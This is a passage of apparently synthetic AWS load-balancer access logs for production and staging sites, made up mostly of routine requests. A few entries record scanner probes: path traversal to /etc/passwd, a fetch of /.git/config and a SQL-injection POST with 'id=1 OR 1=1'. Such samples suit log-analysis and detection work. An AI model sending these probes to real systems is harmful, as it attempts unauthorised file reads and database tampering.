arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d50e-fe79ccb7825d45ba8726ec2b" "prod-web-alb.example.com" "-" 8 2024-11-01T02:05:50.027717Z "forward" "-" "-" "10.0.73.16:443" "200" "-" "-" -http 2024-11-01T02:05:50.240968Z staging-alb 59.32.189.112:59116 109.12.55.91:80 0.064277 0.296899 0.014271 301 301 898 299 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d50e-4ae130b952b84a56826945dc" "-" "-" 6 2024-11-01T02:05:50.240968Z "forward" "-" "-" "109.12.55.91:80" "301" "-" "-" -https 2024-11-01T02:05:51.938175Z prod-web-alb 79.172.145.242:27206 10.0.64.42:443 0.025921 0.331967 0.027817 302 302 814 10556 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d50f-fd55bfb00a414f30a1e19305" "prod-web-alb.example.com" "-" 7 2024-11-01T02:05:51.938175Z "forward" "-" "-" "10.0.64.42:443" "302" "-" "-" -https 2024-11-01T02:05:52.726573Z staging-alb 240.157.138.21:11494 175.199.104.254:80 0.120299 0.574442 0.123260 200 200 826 5543 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d510-851c3829cc5046f087e0bb0d" "staging-alb.example.com" "-" 0 2024-11-01T02:05:52.726573Z "forward" "-" "-" "175.199.104.254:80" "200" "-" "-" -https 2024-11-01T02:05:53.478934Z prod-web-alb 190.126.5.255:52639 10.0.109.63:443 0.071105 0.166439 0.041425 200 200 788 11782 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d511-f98f1b2486a04f15bf73a4d3" "prod-web-alb.example.com" "-" 5 2024-11-01T02:05:53.478934Z "forward" "-" "-" "10.0.109.63:443" "200" "-" "-" -http 2024-11-01T02:05:55.279950Z staging-alb 218.24.54.9:51288 84.103.235.80:443 0.118520 0.153806 0.048938 200 200 918 6631 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d513-3cb7e2884e4140dab1eb4908" "staging-alb.example.com" "-" 9 2024-11-01T02:05:55.279950Z "forward" "-" "-" "84.103.235.80:443" "200" "-" "-" -https 2024-11-01T02:05:57.129624Z staging-alb 81.28.63.159:38071 57.132.126.166:8080 0.004874 0.406187 0.124926 301 301 649 12159 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d515-75c7be85b6e4452c90a23fc4" "staging-alb.example.com" "-" 2 2024-11-01T02:05:57.129624Z "forward" "-" "-" "57.132.126.166:8080" "301" "-" "-" -https 2024-11-01T02:05:57.860312Z staging-alb 14.173.55.16:51485 212.53.227.175:80 0.113379 0.336919 0.121034 200 200 243 5190 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d515-d12348da2fb1455dba9e02e7" "staging-alb.example.com" "-" 9 2024-11-01T02:05:57.860312Z "forward" "-" "-" "212.53.227.175:80" "200" "-" "-" -https 2024-11-01T02:05:59.767600Z prod-web-alb 70.49.160.141:35541 10.0.147.69:443 0.099616 0.138048 0.085033 200 200 751 11251 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d517-541ad8da179b49458263cbdd" "prod-web-alb.example.com" "-" 8 2024-11-01T02:05:59.767600Z "forward" "-" "-" "10.0.147.69:443" "200" "-" "-" -https 2024-11-01T02:06:01.143903Z prod-api-alb 158.167.48.52:27494 10.0.157.7:443 0.037954 0.111156 0.018770 200 200 217 3520 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d519-83fa59adc59e424880309080" "-" "-" 9 2024-11-01T02:06:01.143903Z "forward" "-" "-" "10.0.157.7:443" "200" "-" "-" -https 2024-11-01T02:06:02.988427Z staging-alb 238.223.24.208:12260 57.232.116.222:443 0.059365 0.114823 0.063447 200 200 562 2159 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d51a-3c7e3cb07bbf482d98cbb8b2" "staging-alb.example.com" "-" 8 2024-11-01T02:06:02.988427Z "forward" "-" "-" "57.232.116.222:443" "200" "-" "-" -https 2024-11-01T02:06:04.693851Z prod-api-alb 45.155.205.14:56169 10.0.127.127:443 0.037372 0.273088 0.037695 403 403 719 339 "GET /../../../etc/passwd HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d51c-64fc74e6f4d34616964f9ae7" "-" "-" 9 2024-11-01T02:06:04.693851Z "forward" "-" "-" "10.0.127.127:443" "403" "-" "-" -https 2024-11-01T02:06:05.281945Z prod-web-alb 240.31.75.58:13401 10.0.152.91:443 0.048141 0.285118 0.024214 200 200 883 3853 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d51d-e2f8e19c02864953b5aabfab" "prod-web-alb.example.com" "-" 0 2024-11-01T02:06:05.281945Z "forward" "-" "-" "10.0.152.91:443" "200" "-" "-" -https 2024-11-01T02:06:06.568613Z prod-web-alb 193.27.228.87:54102 10.0.126.15:443 0.043254 0.066552 0.019567 301 301 932 9677 "GET /.git/config HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d51e-ea11e0153c484a48a56f5e0e" "-" "-" 0 2024-11-01T02:06:06.568613Z "forward" "-" "-" "10.0.126.15:443" "301" "-" "-" -https 2024-11-01T02:06:06.742462Z prod-api-alb 197.79.17.65:52670 10.0.54.90:443 0.004867 0.181765 0.057891 200 200 784 13974 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d51e-d98a7da0f48a4260b9c717fb" "prod-api-alb.example.com" "-" 5 2024-11-01T02:06:06.742462Z "forward" "-" "-" "10.0.54.90:443" "200" "-" "-" -https 2024-11-01T02:06:07.421745Z prod-api-alb 53.61.57.212:51517 10.0.60.243:443 0.032990 0.374594 0.015905 200 200 839 8051 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d51f-82e47928b8a54d9e8b810bdb" "prod-api-alb.example.com" "-" 9 2024-11-01T02:06:07.421745Z "forward" "-" "-" "10.0.60.243:443" "200" "-" "-" -https 2024-11-01T02:06:08.837514Z prod-api-alb 60.166.163.139:38522 10.0.81.104:443 0.009033 0.421405 0.058759 302 302 300 14850 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d520-fa5881ab00204f0b97ff3f56" "prod-api-alb.example.com" "-" 5 2024-11-01T02:06:08.837514Z "forward" "-" "-" "10.0.81.104:443" "302" "-" "-" -https 2024-11-01T02:06:09.087677Z staging-alb 67.86.223.50:38261 85.175.249.167:8080 0.097760 0.137515 0.004537 302 302 981 8760 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d521-fd446dc39f694c46b90a0e78" "staging-alb.example.com" "-" 4 2024-11-01T02:06:09.087677Z "forward" "-" "-" "85.175.249.167:8080" "302" "-" "-" -https 2024-11-01T02:06:09.755647Z prod-web-alb 25.120.142.159:25689 10.0.85.240:443 0.082695 0.157421 0.046144 404 404 29 14714 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d521-7132aedd9a6644f185e19b5a" "prod-web-alb.example.com" "-" 7 2024-11-01T02:06:09.755647Z "forward" "-" "-" "10.0.85.240:443" "404" "-" "-" -https 2024-11-01T02:06:09.982034Z prod-api-alb 60.159.114.77:13504 10.0.89.50:443 0.035091 0.075728 0.012425 301 301 971 8665 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d521-618ab44106944210b7ca7740" "prod-api-alb.example.com" "-" 10 2024-11-01T02:06:09.982034Z "forward" "-" "-" "10.0.89.50:443" "301" "-" "-" -http 2024-11-01T02:06:11.652683Z staging-alb 218.103.48.83:61128 186.108.122.131:80 0.042488 0.704250 0.035006 200 200 470 12331 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d523-c7d5ee6ad1974db98fe7417b" "staging-alb.example.com" "-" 7 2024-11-01T02:06:11.652683Z "forward" "-" "-" "186.108.122.131:80" "200" "-" "-" -https 2024-11-01T02:06:13.397027Z prod-api-alb 77.175.115.163:34846 10.0.111.155:443 0.007787 0.447458 0.054796 200 200 877 1748 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d525-4ea2f74b221b49b3aa0101bb" "prod-api-alb.example.com" "-" 0 2024-11-01T02:06:13.397027Z "forward" "-" "-" "10.0.111.155:443" "200" "-" "-" -https 2024-11-01T02:06:13.861591Z prod-api-alb 185.181.68.44:57412 10.0.249.1:443 0.070950 0.160474 0.026988 403 403 392 7579 "GET /../../../etc/passwd HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d525-7ee3819f823a4b98ad201a41" "-" "-" 0 2024-11-01T02:06:13.861591Z "forward" "-" "-" "10.0.249.1:443" "403" "-" "-" -https 2024-11-01T02:06:15.832682Z staging-alb 229.70.209.58:30770 223.252.4.2:80 0.049231 0.013669 0.083636 301 301 245 11029 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d527-4a2a2372f75b47b393fbc460" "staging-alb.example.com" "-" 4 2024-11-01T02:06:15.832682Z "forward" "-" "-" "223.252.4.2:80" "301" "-" "-" -https 2024-11-01T02:06:16.435204Z prod-web-alb 59.90.81.70:61855 10.0.149.52:443 0.056025 0.076233 0.059343 200 200 178 4165 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d528-e297990421af418d8a655f62" "prod-web-alb.example.com" "-" 2 2024-11-01T02:06:16.435204Z "forward" "-" "-" "10.0.149.52:443" "200" "-" "-" -https 2024-11-01T02:06:17.619454Z prod-web-alb 111.58.192.225:47453 10.0.118.19:443 0.054096 0.396551 0.022329 200 200 710 12794 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d529-8bba5dac70b04a3381f3901b" "prod-web-alb.example.com" "-" 4 2024-11-01T02:06:17.619454Z "forward" "-" "-" "10.0.118.19:443" "200" "-" "-" -http 2024-11-01T02:06:18.419658Z staging-alb 111.84.93.127:28103 5.5.55.135:8080 0.115732 0.360046 0.132081 404 404 30 6123 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d52a-2e88719b539349c18957f37d" "staging-alb.example.com" "-" 7 2024-11-01T02:06:18.419658Z "forward" "-" "-" "5.5.55.135:8080" "404" "-" "-" -https 2024-11-01T02:06:19.775470Z prod-web-alb 67.196.213.39:32593 10.0.233.191:443 0.092923 0.485497 0.089647 302 302 5 532 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d52b-d54c5c59319b419e85f875ab" "prod-web-alb.example.com" "-" 1 2024-11-01T02:06:19.775470Z "forward" "-" "-" "10.0.233.191:443" "302" "-" "-" -https 2024-11-01T02:06:21.397237Z prod-api-alb 202.55.171.164:33844 10.0.104.96:443 0.011153 0.152024 0.093489 301 301 124 6088 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d52d-4410f40b5e094359a5886e12" "prod-api-alb.example.com" "-" 1 2024-11-01T02:06:21.397237Z "forward" "-" "-" "10.0.104.96:443" "301" "-" "-" -https 2024-11-01T02:06:21.710466Z prod-api-alb 181.4.83.67:14253 10.0.136.23:443 0.095119 0.187352 0.029404 200 200 716 13758 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d52d-d3a5b7fc43a44303bb022a39" "prod-api-alb.example.com" "-" 10 2024-11-01T02:06:21.710466Z "forward" "-" "-" "10.0.136.23:443" "200" "-" "-" -http 2024-11-01T02:06:22.551178Z staging-alb 141.94.161.25:49720 115.226.91.151:8080 0.022561 0.316326 0.008435 200 200 340 5206 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d52e-e340f136aff2452ab12b872c" "staging-alb.example.com" "-" 10 2024-11-01T02:06:22.551178Z "forward" "-" "-" "115.226.91.151:8080" "200" "-" "-" -https 2024-11-01T02:06:22.822492Z staging-alb 87.92.172.164:29923 167.189.65.77:443 0.108615 0.316824 0.071504 302 302 118 8848 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d52e-22365e23cdf24b6a87944b71" "staging-alb.example.com" "-" 9 2024-11-01T02:06:22.822492Z "forward" "-" "-" "167.189.65.77:443" "302" "-" "-" -https 2024-11-01T02:06:23.459400Z prod-web-alb 227.194.80.78:31324 10.0.121.140:443 0.040855 0.227547 0.029851 200 200 628 2574 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d52f-4d8fdeec85b94341a111a85d" "prod-web-alb.example.com" "-" 10 2024-11-01T02:06:23.459400Z "forward" "-" "-" "10.0.121.140:443" "200" "-" "-" -https 2024-11-01T02:06:25.445147Z staging-alb 126.114.164.29:40615 111.115.77.125:8080 0.035612 0.673080 0.045934 200 200 754 805 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d531-9ad75b97bfe6424f922fe8e4" "staging-alb.example.com" "-" 7 2024-11-01T02:06:25.445147Z "forward" "-" "-" "111.115.77.125:8080" "200" "-" "-" -https 2024-11-01T02:06:26.396327Z prod-api-alb 92.114.77.147:36282 10.0.251.207:443 0.023898 0.148143 0.028546 200 200 347 4395 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d532-1552d31cc29b4ab9b12f1e01" "prod-api-alb.example.com" "-" 1 2024-11-01T02:06:26.396327Z "forward" "-" "-" "10.0.251.207:443" "200" "-" "-" -https 2024-11-01T02:06:27.621023Z staging-alb 187.5.132.62:54823 157.109.23.8:443 0.011282 0.509852 0.137629 404 404 112 1932 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d533-78e641c0432243fb9ef77b03" "staging-alb.example.com" "-" 2 2024-11-01T02:06:27.621023Z "forward" "-" "-" "157.109.23.8:443" "404" "-" "-" -http 2024-11-01T02:06:28.168119Z staging-alb 32.148.199.182:18600 40.180.220.162:80 0.022039 0.126555 0.011249 302 302 359 3650 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d534-046aa906e9ff4f068f701869" "staging-alb.example.com" "-" 10 2024-11-01T02:06:28.168119Z "forward" "-" "-" "40.180.220.162:80" "302" "-" "-" -https 2024-11-01T02:06:28.717603Z prod-api-alb 115.48.43.144:24759 10.0.106.250:443 0.072565 0.132324 0.094266 200 200 45 9527 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d534-d0bc4e7a0904414789ddc86c" "prod-api-alb.example.com" "-" 10 2024-11-01T02:06:28.717603Z "forward" "-" "-" "10.0.106.250:443" "200" "-" "-" -https 2024-11-01T02:06:29.875123Z prod-api-alb 77.26.68.159:28622 10.0.37.230:443 0.096524 0.436795 0.046976 200 200 398 7103 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d535-8152e8ce30f743c3b1d39d6f" "prod-api-alb.example.com" "-" 4 2024-11-01T02:06:29.875123Z "forward" "-" "-" "10.0.37.230:443" "200" "-" "-" -https 2024-11-01T02:06:31.613727Z prod-api-alb 230.229.18.157:52438 10.0.248.31:443 0.066454 0.375262 0.098440 200 200 297 9938 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d537-86d51f6daf4548ba94871dbe" "prod-api-alb.example.com" "-" 4 2024-11-01T02:06:31.613727Z "forward" "-" "-" "10.0.248.31:443" "200" "-" "-" -https 2024-11-01T02:06:32.605208Z staging-alb 164.17.73.160:20880 221.47.10.23:80 0.108764 0.214317 0.130520 200 200 349 8623 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d538-5528bed6762949daa6883f91" "staging-alb.example.com" "-" 7 2024-11-01T02:06:32.605208Z "forward" "-" "-" "221.47.10.23:80" "200" "-" "-" -https 2024-11-01T02:06:34.117396Z prod-api-alb 194.175.206.123:57463 10.0.84.46:443 0.076038 0.111108 0.081869 301 301 950 11711 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d53a-7a05ce2eabfb46ab8a4f4dbf" "prod-api-alb.example.com" "-" 2 2024-11-01T02:06:34.117396Z "forward" "-" "-" "10.0.84.46:443" "301" "-" "-" -https 2024-11-01T02:06:34.520218Z prod-web-alb 216.99.173.85:38522 10.0.124.35:443 0.090012 0.134444 0.084585 302 302 152 4080 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d53a-eddbbe94204f463b90a3993e" "prod-web-alb.example.com" "-" 3 2024-11-01T02:06:34.520218Z "forward" "-" "-" "10.0.124.35:443" "302" "-" "-" -https 2024-11-01T02:06:35.072892Z prod-web-alb 174.171.190.86:36355 10.0.250.148:443 0.067959 0.097182 0.047960 200 200 413 365 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d53b-575dbbca4ae64dda8b2bcce5" "prod-web-alb.example.com" "-" 6 2024-11-01T02:06:35.072892Z "forward" "-" "-" "10.0.250.148:443" "200" "-" "-" -https 2024-11-01T02:06:35.174142Z prod-web-alb 45.155.205.164:30125 10.0.232.4:443 0.062570 0.020766 0.003075 500 500 306 1656 "POST /users?id=1 OR 1=1 HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d53b-b4fc97ba8aef4843a4059b9d" "-" "-" 7 2024-11-01T02:06:35.174142Z "forward" "-" "-" "10.0.232.4:443" "500" "-" "-" -http 2024-11-01T02:06:35.409994Z staging-alb 90.73.100.19:21366 159.21.10.169:8080 0.058483 0.675357 0.017492 301 301 335 1007 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d53b-656534a47e63494eaa4811a6" "staging-alb.example.com" "-" 7 2024-11-01T02:06:35.409994Z "forward" "-" "-" "159.21.10.169:8080" "301" "-" "-" -https 2024-11-01T02:06:36.223773Z prod-web-alb 46.8.153.208:46945 10.0.195.169:443 0.080795 0.140360 0.036206 200 200 196 7798 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d53c-6fb1496ab3b44537a5b29b58" "prod-web-alb.example.com" "-" 10 2024-11-01T02:06:36.223773Z "forward" "-" "-" "10.0.195.169:443" "200" "-" "-" -https 2024-11-01T02:06:36.553932Z prod-web-alb 82.255.136.117:24996 10.0.85.33:443 0.044571 0.113276 0.021013 200 200 202 5485 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d53c-119929eba9bd4791a0dcd938" "prod-web-alb.example.com" "-" 8 2024-11-01T02:06:36.553932Z "forward" "-" "-" "10.0.85.33:443" "200" "-" "-" -https 2024-11-01T02:06:36.705894Z staging-alb 26.145.99.95:45948 18.110.203.79:8080 0.093355 0.431881 0.059442 200 200 30 615 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d53c-b49c80096b55491a8a1f8bb1" "staging-alb.example.com" "-" 8 2024-11-01T02:06:36.705894Z "forward" "-" "-" "18.110.203.79:8080" "200" "-" "-" -http 2024-11-01T02:06:37.692808Z staging-alb 19.242.188.193:12901 4.180.113.59:80 0.015416 0.652842 0.137839 301 301 356 6098 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 